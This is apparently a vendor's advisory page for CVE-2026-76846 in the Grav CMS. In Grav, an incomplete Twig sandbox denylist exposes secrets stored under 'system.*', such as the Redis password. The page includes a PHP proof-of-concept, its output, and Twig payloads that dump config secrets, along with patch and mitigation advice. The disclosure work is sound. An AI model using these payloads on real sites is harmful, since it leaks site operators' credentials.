Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-76846 — grav

CVE-2026-76846 is a CWE-522 vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.

Grav before 2.0.16 Information Disclosure via Twig Sandbox

Also known asGHSA-xjw5-q542-3vmr
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-76846.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk
0.00%0.30%0.61%0.91%0.2%0.4%0.4%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐘getgrav/grav

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

system/config/security.yaml's default twig_sandbox.config_denied_paths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twig_content.config_access: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system.* , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.

Environment used to verify

  • Grav commit at HEAD of the default branch, GRAV_VERSION 2.0.15
  • PHP 8.3.6 with curl, zip, dom, gd extensions installed
  • Full composer install --no-dev run against the real repository (no mocked dependencies) so the actual Grav\Common\Config\Config and Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly

Commands run to set up the verification environment

git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

grep -n "redis" -A3 system/config/system.yaml
#   redis:
#     socket: false
#     password:                # <- system.cache.redis.password, a real field
#     database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
#   cache.redis.password:      # <- confirmed exposed in the admin UI as "REDIS Password"
#     type: text

sandbox_test.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:

<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
    'system' => [
        'cache' => [
            'driver' => 'redis',
            'redis' => [
                'server'   => '10.0.0.5',
                'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
            ],
        ],
    ],
    'plugins' => [
        'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
    ],
    'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());

Run:

php sandbox_test.php

Output:

plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
    [system] => Array
        (
            [cache] => Array
                (
                    [driver] => redis
                    [redis] => Array
                        (
                            [server] => 10.0.0.5
                            [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
                        )

                )

        )

    [site] => Array
        (
            [title] => My Site
        )

)

plugins.* is correctly redacted; system.cache.redis.password is not, and appears in full both via targeted get() and via bulk toArray().

Confirming the Twig-reachable path is real

system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's methods for use inside sandboxed page-content templates:

- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
  methods: 'get, toarray, value, offsetget, offsetexists'

So, with twig_content.process_enabled: true and twig_content.config_access: true both set (both documented, operator-controlled settings), a page containing:

{{ config.get('system.cache.redis.password') }}

or

{{ config.toArray() }}

renders the real Redis password directly into the page output for any user with page-edit permission.

Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented config_access opt-in (intended only to expose things like site.title), exposes that Redis password , and potentially other future system.* secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings.

Suggested fix

Add system to the default config_denied_paths list in system/config/security.yaml, or invert the model to an allowlist (e.g. site, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under system.* doesn't silently bypass the sandbox by default.

Affected component

  • system/config/security.yaml, twig_sandbox.config_denied_paths default value
  • system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php (behaves correctly given its input; the gap is in the default list passed to it)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/gravall versions2.0.16composer require getgrav/grav:^2.0.16

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update getgrav/grav to 2.0.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-76846 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary `system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list (`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix. When an operator enables the documented, non-default `twig_content.config_access: true` setting (intended to safely expose low-sensitivity values like `site.title` to editor-authored Twig content), any real secret stored under `system.*` , for example `system.cache.redis.password` , is also exposed, both via `config.get(...)` and via `config.toArray()`, to any user with page-edit permission. This is a follow-up gap in
O3 Security · Impact-Aware SCA

Is CVE-2026-76846 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-76846: grav — Fixed in 2.0.16